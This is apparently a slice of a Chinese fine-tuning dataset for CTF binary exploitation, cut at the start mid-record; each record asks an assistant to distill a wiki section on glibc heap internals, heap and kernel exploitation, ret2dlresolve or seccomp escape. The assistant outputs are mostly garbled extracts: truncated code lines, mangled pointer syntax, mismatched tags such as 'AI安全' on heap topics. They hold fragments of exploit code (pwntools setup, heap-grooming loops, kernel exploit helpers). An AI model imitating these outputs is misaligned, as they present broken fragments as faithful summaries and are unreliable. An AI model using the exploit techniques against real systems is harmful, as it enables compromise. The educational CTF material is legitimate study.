"c9420c20a42485b6b155210d4899dbe07dde5bd50311698d2cedbba97b522cfe", "split": "train", "split_group_key": "6e5ad0c9abe6cf13418f94ff", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:cpp"], "title": "堆中的 Off-By-One"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a98bd2443f7fe28097a6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「寻找较大 chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：申请内存块 > _int_malloc > 大循环-遍历 unsorted bin > 寻找较大 chunk\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“寻找较大 chunk”展开。\n- // 获取当前索引在binmap中的block索引 // #define idx2block(i) ((i) >> BINMAPSHIFT) ,BINMAPSHIFT=5 // Binmap按block管理，每个block为一个int，共32个bit，可以表示32个bin中是否有空闲chunk存在 // 所以这里是右移5 block = idx2block(idx);\n- 如果走到了这里，那说明对于用户所需的chunk，不能直接从其对应的合适的bin中获取chunk，所以我们需要来查找比当前 bin 更大的 fast bin ， small bin 或者 large bin。\n- // 获取当前块大小对应的映射，这里可以得知相应的bin中是否有空闲块 map = av->binmap[ block ];\n- ``c++ / Search for a chunk by scanning bins, starting with next largest bin.\n- i.e., the smallest (with ties going to approximately the least recently used) chunk that fits is selected.\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 23 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 968, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "寻找较大 chunk", "heading_path": ["申请内存块", "_int_malloc", "大循环-遍历 unsorted bin", "寻找较大 chunk"], "original_id": "docs-d03784302d577562103b", "original_line": 57, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "394fed262374be793b1048bd", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-aa03b26c48bd19e56255", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「非 main_arena」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：define GLRO(name) _##name > 非 main_arena\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“非 main_arena”展开。\n- = &main_arena) { heap_info old_heap, heap;\n- / First try to extend the current heap. / old_heap = heap_for_ptr(old_top);\n- if ((long)(MINSIZE + nb - old_size) > 0 && grow_heap(old_heap, MINSIZE + nb - old_size) == 0) { av->system_mem += old_heap->size - old_heap_size;\n- set_head(old_top, (((char )old_heap + old_heap->size) - (char )old_top) | PREV_INUSE);\n- } else if ((heap = new_heap(nb + (MINSIZE + sizeof(heap)), mp_.top_pad))) { / Use a newly allocated heap. / heap->ar_ptr = av;\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 42 行，首行 `if (av != &main_arena) {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1660, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "非 main_arena", "heading_path": ["define GLRO(name) _##name", "非 main_arena"], "original_id": "docs-36442c498a8931eb2240", "original_line": 1164, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "561eed423f8045f8ed8d157f", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ab22f7187d21cda81da4", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「漏洞利用分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`\n标题：堆中的 Off-By-One\n章节：vim:fenc=utf-8 > 实例 3 : Balsn_CTF_2019-PlainText > 漏洞利用分析\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“漏洞利用分析”展开。\n- 接下来进行利用 为了调试方便，建议先关闭 aslr。\n- [图片文件: ./figure/add-function.png] 而 free 中对被 free 的指针进行了置空，导致无法直接 show，而程序对我们的输入末尾附加 \\x00，也无法使用释放再申请的方法，leak 比较困难。\n- 一开始的时候 bin 中非常的杂乱，先把这些乱七八糟的东西申请出来 ```python for i in range(16): add(0x10,'fill') for i in range(16): add(0x60,'fill') for i in range(9): add(0x70,'fill') for i in range(5): add(0xC0,'fill') for i in range(2): add(0xE0,'fill') add(0x170,'fill') add(0x190,'fi...\n- 程序的流程比较清晰简单，在 add 函数中，存在明显的 off-by-null。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 467, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "漏洞利用分析", "heading_path": ["vim:fenc=utf-8", "实例 3 : Balsn_CTF_2019-PlainText", "漏洞利用分析"], "original_id": "docs-a24d1e359fe4c7a2e6d9", "original_line": 1024, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "source_root": "docs", "source_sha256": "c9420c20a42485b6b155210d4899dbe07dde5bd50311698d2cedbba97b522cfe", "split": "train", "split_group_key": "b8babb7ff0488cddb4da2a9d", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "堆中的 Off-By-One"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ab2e8445860411df50bf", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md` 中的章节「基本示例4：通过extend后向overlapping」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md`\n标题：Chunk Extend and Overlapping\n章节：Chunk Extend and Overlapping > 基本示例4：通过extend后向overlapping\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本示例4：通过extend后向overlapping”展开。\n- } `` 在malloc(0x50)对extend区域重新占位后，其中0x10的fastbin块依然可以正常的分配和释放，此时已经构成overlapping，通过对overlapping的进行操作可以实现fastbin attack。\n- 这里展示通过extend进行后向overlapping，这也是在CTF中最常出现的情况，通过overlapping可以实现其它的一些利用。\n- `` int main() { void ptr,ptr1;\n- //分配第4个 0x10 的chunk4 (int )((int)ptr-0x8)=0x61;\n- //分配第1个 0x80 的chunk1 malloc(0x10);\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 11 行，首行 `int main()`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 433, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "基本示例4：通过extend后向overlapping", "heading_path": ["Chunk Extend and Overlapping", "基本示例4：通过extend后向overlapping"], "original_id": "docs-0517af5aa6282e16221e", "original_line": 905, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md", "source_root": "docs", "source_sha256": "b01e68217ab7de1be420b9424581a4f5375501c0cee771572bfb815bdb771d2a", "split": "train", "split_group_key": "a363437f3bea1373b521d6f7", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Chunk Extend and Overlapping"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ab34dbc3ae307dab6962", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「Final Exploitation」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`\n标题：Page-level UAF\n章节：Page-level UAF > 例题：D^3CTF2023 - d3kcache > 漏洞利用 > Final Exploitation\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/8\n\n核心知识点：\n- 本节主题围绕“Final Exploitation”展开。\n- } /* @brief create an isolate namespace note that the caller SHOULD NOT be used to get the root, but an operator to perform basic exploiting operations in it only */ void unshare_setup(void) { char edit[0x100];\n- if(getuid()) { log_error(\"[x] Failed to get the root!\n- size_t direct_map_addr_to_page_addr(size_t direct_map_addr) { size_t page_count;\n- page_count = ((direct_map_addr & (~0xfff)) - page_offset_base) / 0x1000;\n- } void err_exit(char msg) { printf(ERROR_MSG(\"[x] Error at: \") \"%s\\n\", msg);\n\n关键术语：\n- UAF\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 5154, "chunk_count": 8, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "Final Exploitation", "heading_path": ["Page-level UAF", "例题：D^3CTF2023 - d3kcache", "漏洞利用", "Final Exploitation"], "original_id": "docs-992e7b15ba2b506155e7", "original_line": 750, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "source_root": "docs", "source_sha256": "9556b48cfce4fb3e87c0e04e6cd2793e0719241e2bc305a1f292d6b02d17d186", "split": "train", "split_group_key": "c862ed64bfb2abce0964049c", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Page-level UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-abc88fab5aafe2fdf27e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md` 中的章节「fastbin」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md`\n标题：堆中的检查\n章节：堆中的检查 > 初始检查 > fastbin\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- | 检查目标 | 检查条件 | 报错信息 | | -------- | :-------------------------------------: | :--------------------------------: | | chunk 大小 | fastbin_index(chunksize(victim)) !\n- = idx | malloc(): memory corruption (fast) |\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 206, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "fastbin", "heading_path": ["堆中的检查", "初始检查", "fastbin"], "original_id": "docs-daa3422e513f5ea44e53", "original_line": 1032, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md", "source_root": "docs", "source_sha256": "4375f656de4fa14c2380f946b7c43a901ed3a64708e6a1af69983cd2bbed2373", "split": "train", "split_group_key": "518c92c05b0e39bfbc64762d", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "堆中的检查"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-abdade24db6b15deb2fc", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「“一切皆对象”」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`\n标题：基础知识\n章节：基础知识 > “一切皆对象”\n路径分类：pwn / pwn/windows/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕““一切皆对象””展开。\n- NT kernel 中的对象可以分为两类： - 执行体对象（Executive Objects）：执行体对外暴露的资源对象（如进程、线程、文件等），对用户态可见。\n- 类似于 *NIX 系统中一切皆文件的哲学，在 Windows NT kernel 当中同样有一切都是一个对象（object）的说法，文件、设备、同步机制、注册表项等在内核中都表示为对象，每个对象有一个 header 存储对象基本信息（如名字、类型、位置），以及一个 body 存储数据。\n- 内核对象（Kernel Objects）：最基本的资源对象（如物理设备等），对用户态不可见。\n\n关键术语：\n- pwn\n- windows\n- kernel-mode\n- basic-knowledge\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 288, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "“一切皆对象”", "heading_path": ["基础知识", "“一切皆对象”"], "original_id": "docs-c80568776664e9832566", "original_line": 1448, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "source_root": "docs", "source_sha256": "dffe9072413dc248a151b1fce985a46c7e465f5387c687ba5f3287e4acd99fc6", "split": "train", "split_group_key": "dbc7f952182b1e0ef12633d7", "subcategory": "pwn/windows/kernel-mode", "terms": ["pwn", "windows", "kernel-mode", "basic-knowledge"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ac22e4f3977198656d5d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/defense/isolation/inner-kernel/heap-chunk.md` 中的章节「参考」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/defense/isolation/inner-kernel/heap-chunk.md`\n标题：内部隔离\n章节：内部隔离 > 堆块隔离 > 参考\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考”展开。\n- - https://lore.kernel.org/patchwork/patch/616610/ - https://github.com/torvalds/linux/commit/5d097056c9a017a3b720849efb5432f37acabbac#diff-3cb5667a88a24e8d5abc7042f5c4193698d6b962157f637f9729e61198eec63a - https://github.com/torvalds/linux/commit/230e9fc286...\n\n关键术语：\n- 堆\n- 修复/缓解\n- pwn\n- linux\n- kernel-mode\n- defense\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 525, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "参考", "heading_path": ["内部隔离", "堆块隔离", "参考"], "original_id": "docs-4b851b164c23bef696a4", "original_line": 674, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/isolation/inner-kernel/heap-chunk.md", "source_root": "docs", "source_sha256": "c199ecf56e6b06993e38b4e0bb3c401ab44aa02a24cb6354170fc0362bb2fc7d", "split": "train", "split_group_key": "be104ec767d82d1c2d58f114", "subcategory": "pwn/linux/kernel-mode", "terms": ["堆", "修复/缓解", "pwn", "linux", "kernel-mode", "defense"], "title": "内部隔离"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/isolation/inner-kernel/heap-chunk.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ac923f990c3a2e482d11", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「tcache stashing unlink attack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`\n标题：tcache makes heap exploitation easy again\n章节：define TCACHE_FILL_COUNT 7 > 0x03 Pwn Tcache > tcache stashing unlink attack\n路径分类：pwn / pwn/linux/user-mode\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“tcache stashing unlink attack”展开。\n- ke_chunk ，在 calloc(0x90) 的时候触发攻击。\n- 我们在 calloc 处下断点，调用前查看堆块排布情况。\n- 可以看到 chunk1->bk 已经被改为了 fake_chunk_addr 。\n- 由于 smallbin 是按照 bk 指针寻块的，分配得到的顺序应当是 0x0000000000603250->0x0000000000603390->0x00007fffffffdbc0 (FIFO) 。\n- 调用 calloc 会返回给用户 0x0000000000603250+0x10。\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:bash\n\n代码/命令片段线索：\n- bash: 28 行，首行 `gdb-peda$ heapinfo`\n- bash: 19 行，首行 `gdb-peda$ heapinfo`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2373, "chunk_count": 2, "chunk_index": 1, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "tcache stashing unlink attack", "heading_path": ["define TCACHE_FILL_COUNT 7", "0x03 Pwn Tcache", "tcache stashing unlink attack"], "original_id": "docs-8a4ee5d1590296350bbd", "original_line": 1051, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "source_root": "docs", "source_sha256": "37eb8bd9e0addea4340fa8d86115193239ec930263e815b614220939fd397eaa", "split": "train", "split_group_key": "81ef03de0b7d3ee19ad0a5f8", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:bash"], "title": "tcache makes heap exploitation easy again"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-acb05485e07c96ffc047", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「stage 5」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：construct rop chain > stage 5\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“stage 5”展开。\n- ```python from pwn import * elf = ELF('./main_partial_relro_32') r = process('./main_partial_relro_32') rop = ROP('./main_partial_relro_32') offset = 112 bss_addr = elf.bss() r.recvuntil('Welcome to XDCTF2015~!\n- 这一阶段，我们将在阶段 4 的基础上，进一步伪造 write 符号的 st_name 指向我们自己构造的字符串。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 274, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "stage 5", "heading_path": ["construct rop chain", "stage 5"], "original_id": "docs-d22426e6c69628be4bf2", "original_line": 1327, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "422cf2023f3352bd9ef279f8", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-acc5ae41f7cfc7abe6d8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/sandbox/seccomp/c-sandbox-escape.md` 中的章节「orw」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/sandbox/seccomp/c-sandbox-escape.md`\n标题：C 沙盒逃逸\n章节：C 沙盒逃逸 > orw\n路径分类：pwn / pwn/sandbox/seccomp\n分块：1/1\n\n核心知识点：\n- 一般来说，开启了白名单的堆利用类题，我们会在劫持了某钩子函数如 __free_hook 或 got 表之后考虑实现 orw，这个时候我们只可以注入一个 gadget，一般来说我们希望这个 gadget 能够实现栈迁移，一种比较通用的做法是利用 setcontext 函数，其在 libc-2.29 中实现为 `` .text:0000000000055E00 ;\n- } // starts at 55E00 `` 当然其他版本也大同小异，可见在这个函数中有对 rsp 的赋值，如果我们可以控制 rdx，就可以控制 rsp 实现栈迁移了。\n- 有些时候 pwn 题目中为了增加难度，会使用类似 seccomp 的函数来禁用一部分系统调用，往往会把 execve 这种系统调用禁用掉，基本上拿 shell 是不可能了，但是我们 pwn 题是面向 flag 的，所以还是可以通过 orw（ open-read-write ）的方法来读出 flag 的。\n- 在栈上的 orw 和 普通 rop 其实没有什么特别大的区别，这里主要谈一谈堆利用中的白名单绕过。\n- __unwind { .text:0000000000055E00 push rdi .text:0000000000055E01 lea rsi, [rdi+128h] ;\n- nset .text:0000000000055E08 xor edx, edx ;\n\n关键术语：\n- 堆\n- 栈\n- ROP/JOP\n- 密码学\n- 漏洞利用\n- pwn\n- sandbox\n- seccomp\n- c-sandbox-escape.md\n\n代码/命令片段线索：\n- plain: 30 行，首行 `.text:0000000000055E00 ; __unwind {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1745, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "orw", "heading_path": ["C 沙盒逃逸", "orw"], "original_id": "docs-80d10fc102c5666e6e52", "original_line": 1394, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/sandbox/seccomp/c-sandbox-escape.md", "source_root": "docs", "source_sha256": "a7735b09f39c19fa42be147984919d4fed405c06eed3dd271418f9e05c99bb03", "split": "train", "split_group_key": "7c1fe31672bdf8fb3ca5e5d4", "subcategory": "pwn/sandbox/seccomp", "terms": ["堆", "栈", "ROP/JOP", "密码学", "漏洞利用", "pwn", "sandbox", "seccomp", "c-sandbox-escape.md"], "title": "C 沙盒逃逸"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/sandbox/seccomp/c-sandbox-escape.md", "split": "train", "type": "ctf_lora_sft"}
